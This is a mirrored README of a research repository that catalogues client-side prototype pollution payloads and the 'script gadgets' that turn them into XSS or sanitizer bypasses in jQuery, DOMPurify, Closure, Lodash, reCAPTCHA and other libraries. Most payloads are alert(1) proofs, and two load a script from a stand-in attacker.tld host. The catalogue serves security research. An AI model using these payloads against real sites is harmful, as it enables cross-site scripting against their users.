Giter Club home page Giter Club logo

client-side-prototype-pollution's Introduction

Client-Side Prototype Pollution

Intro

If you are unfamiliar with Prototype Pollution Attack, you should read the following first:
JavaScript prototype pollution attack in NodeJS by Olivier Arteau
Prototype pollution – and bypassing client-side HTML sanitizers by Michał Bentkowski

In this repository, I am trying to collect examples of libraries that are vulnerable to Prototype Pollution due to document.location parsing and useful script gadgets that can be used to demonstrate the impact.

Prototype Pollution

Name Payload Refs Found by
Wistia Embedded Video (Fixed) ?__proto__[test]=test
?__proto__.test=test
[1] William Bowling
jQuery query-object plugin ?__proto__[test]=test
#__proto__[test]=test
Sergey Bobrov
jQuery Sparkle ?__proto__.test=test Sergey Bobrov
V4Fire Core Library ?__proto__.test=test
?__proto__[test]=test
Sergey Bobrov
backbone-query-parameters ?__proto__.test=test Sergey Bobrov
jQuery BBQ ?__proto__[test]=test Sergey Bobrov
jquery-deparam ?__proto__[test]=test Sergey Bobrov
MooTools More ?__proto__[test]=test Sergey Bobrov

Script Gadgets

Name Payload Impact Refs Found by
Wistia Embedded Video ?__proto__[innerHTML]=<img/src/onerror=alert(1)> XSS [1] William Bowling
jQuery $.get >= 3.0.0 ?__proto__[url][]=data:,alert(1)//&__proto__[dataType]=script XSS Michał Bentkowski
jQuery $.getScript >= 3.4.0 ?__proto__[src][]=data:,alert(1)// XSS s1r1us
jQuery $.getScript 3.0.0 - 3.3.1 ?__proto__[url]=data:,alert(1)// XSS s1r1us
Google reCAPTCHA ?__proto__[srcdoc][]=<script>alert(1)</script> XSS s1r1us
Twitter Universal Website Tag ?__proto__[hif][]=javascript:alert(1) XSS Sergey Bobrov
Tealium Universal Tag ?__proto__[attrs][src]=1&__proto__[src]=//attacker.tld/js.js XSS Sergey Bobrov
Akamai Boomerang ?__proto__[BOOMR]=1&__proto__[url]=//attacker.tld/js.js XSS s1r1us
Lodash <= 4.17.15 ?__proto__[sourceURL]=%E2%80%A8%E2%80%A9alert(1) XSS [1] Alex Brasetvik
sanitize-html ?__proto__[*][]=onload Bypass [1] Michał Bentkowski
js-xss ?__proto__[whiteList][img][0]=onerror&__proto__[whiteList][img][1]=src Bypass [1] Michał Bentkowski
DOMPurify <= 2.0.12 ?__proto__[ALLOWED_ATTR][0]=onerror&__proto__[ALLOWED_ATTR][1]=src Bypass [1] Michał Bentkowski
DOMPurify <= 2.0.12 ?__proto__[documentMode]=9 Bypass [1] Michał Bentkowski
Closure ?__proto__[*%20ONERROR]=1&__proto__[*%20SRC]=1 Bypass [1] Michał Bentkowski
Closure ?__proto__[CLOSURE_BASE_PATH]=data:,alert(1)// XSS [1] Michał Bentkowski
Marionette.js / Backbone.js ?__proto__[tagName]=img&__proto__[src][]=x:&__proto__[onerror][]=alert(1) XSS Sergey Bobrov
Adobe Dynamic Tag Management ?__proto__[src]=data:,alert(1)// XSS Sergey Bobrov

client-side-prototype-pollution's People

Contributors

blackfan avatar msrkp avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.